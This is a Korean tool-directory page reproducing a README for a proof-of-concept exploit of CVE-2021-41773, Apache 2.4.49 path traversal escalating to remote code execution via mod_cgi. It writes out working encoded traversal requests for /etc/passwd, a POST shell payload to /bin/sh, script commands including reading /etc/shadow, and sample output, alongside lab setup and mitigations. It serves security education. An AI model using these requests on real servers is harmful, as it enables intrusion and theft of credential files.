Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-41773 — CVE-2021-41773에 대한 개념 증명 | Kitploit
도구/GitHubGitHub/joapath/cve-2021-41773
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubjoapath/cve-2021-41773

CVE-2021-41773

CVE-2021-41773에 대한 개념 증명

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-41773 — PoC: 경로 탐색 + mod_cgi를 통한 RCE

통제된 자체 환경에서만 사용하십시오. 권한 없이 시스템을 대상으로 사용하지 마십시오.


설명

Apache HTTP Server 2.4.49에 존재하는 취약점 CVE-2021-41773을 시연하고 이해하기 위해 개발된 PoC입니다.

이 결함은 URL로 인코딩된 문자를 올바르게 검증하지 못한 ap_normalize_path() 함수에 있습니다. 이로 인해 공격자는 인코딩된 문자 시퀀스(../ 대신 %2e%2e%2f)를 사용하여 DocumentRoot 밖으로 벗어나 시스템의 임의 파일을 읽을 수 있었습니다.

mod_cgi 모듈이 활성화되어 있으면 취약점이 **RCE(원격 코드 실행)**로 확대되어 Apache 프로세스의 권한으로 서버에서 직접 명령을 실행할 수 있었습니다.


악용에 필요한 조건

서버가 취약하려면 다음 조건을 모두 충족해야 합니다:

조건설명
Apache 버전정확히 2.4.49
접근 지시자구성에서 Require all granted
CGI 모듈mod_cgi 활성화(RCE 전용)

공격 작동 방식

1단계 — 경로 탐색

Apache 2.4.49는 일반적인 ../를 필터링했지만 URL 인코딩된 버전은 필터링하지 못했습니다. 공격자는 필터가 감지하지 못하지만 운영 체제가 올바르게 해석하는 경로를 구성합니다:

root@kitploit:~
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

%2e%2e%2f는 ../의 URL 인코딩입니다. Apache는 이를 통과시켰고 OS가 해석하여 웹 디렉터리 밖의 파일에 접근할 수 있었습니다.

2단계 — mod_cgi를 통한 RCE

mod_cgi가 활성화되어 있으면 경로 탐색을 사용하여 파일 대신 /bin/sh를 가리킵니다. Apache는 이를 CGI 스크립트로 처리하여 실행합니다. 명령은 최소한의 셸 스크립트로 POST 본문에 담겨 전송됩니다:

root@kitploit:~
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh

#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1

명령의 출력은 HTTP 응답으로 전달됩니다.


테스트 환경

취약점을 재현하는 가장 간단한 방법은 Docker를 사용하는 것입니다:

root@kitploit:~
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773

또는 취약한 구성이 적용된 수동 Apache 2.4.49 이미지를 사용할 수도 있습니다:

root@kitploit:~
<Directory />
    Require all granted
</Directory>

테스트에 사용한 설정 파일들을 남겨 두겠습니다.

익스플로잇에 대한 기술적 결정

  • 왜 'requests'가 아니라 'urllib3'인가?

    requests는 path의 문자를 보내기 전에 자동으로 다시 인코딩합니다. 이로 인해 서버가 %2e 대신 %252e를 수신하게 되어 페이로드가 깨집니다. urllib3는 path를 수정 없이 보낼 수 있습니다.

  • 왜 %2e%2e/가 아니라 .%2e/인가?
    Apache는 mod_rewrite 모듈에서 %2e%2e/를 필터링합니다. .%2e/ 변형은 의미상 동일하지만 필터를 통과하며, path 정규화가 검증 이후에 발생하기 때문입니다.

제한 사항

  • RCE 모드가 작동하려면 mod_cgi 모듈이 활성화되어 있어야 합니다. 활성화되어 있지 않으면 경로 탐색만 가능합니다.
  • Apache가 path에서 이중 인코딩을 필터링하는 WAF 뒤에 있으면 익스플로잇이 작동하지 않습니다.
  • Linux의 Apache 2.4.49에서만 테스트되었습니다. 2.4.50 버전에는 추가 우회가 필요합니다(CVE-2021-42013 참조).

스크립트 사용법

root@kitploit:~
python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <comando>]

인자

예시

root@kitploit:~
# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal

# Ejecutar el comando 'id'
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id

# Ejecutar un comando con espacios
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

예상 출력 — 경로 탐색 모드

root@kitploit:~
=======================================================
  CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
  PoC con fines educativos — Solo en entornos propios
=======================================================

[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...

Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

예상 출력 — RCE 모드

root@kitploit:~
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...

[+] RCE confirmados

uid=1(daemon) gid=1(daemon) groups=1(daemon)

완화 조치

  • Apache를 버전 2.4.51 이상으로 업데이트하십시오.
  • 기본값으로 Require all denied를 구성하십시오.
  • 반드시 필요한 경우가 아니라면 mod_cgi를 비활성화하십시오.

참고 자료

  • Rapid7 — CVE-2021-41773 Exploited in the Wild
  • Qualys — Path Traversal & RCE Analysis
  • NVD — CVE-2021-41773

⚠️ 이 저장소는 교육 목적으로만 제공됩니다.
권한 없는 시스템에 이 익스플로잇을 사용하는 것은 불법입니다.
통제된 로컬 환경에서만 테스트되었습니다.

공격 보안 포트폴리오를 위해 교육 목적으로 개발된 PoC입니다.

도구 다운로드
인자필수설명
--target예서버의 기본 URL(예: http://localhost:8080)
--mode예파일을 읽기 위한 traversal, 명령을 실행하기 위한 rce
--cmd아니요rce 모드에서 실행할 명령(기본값: id)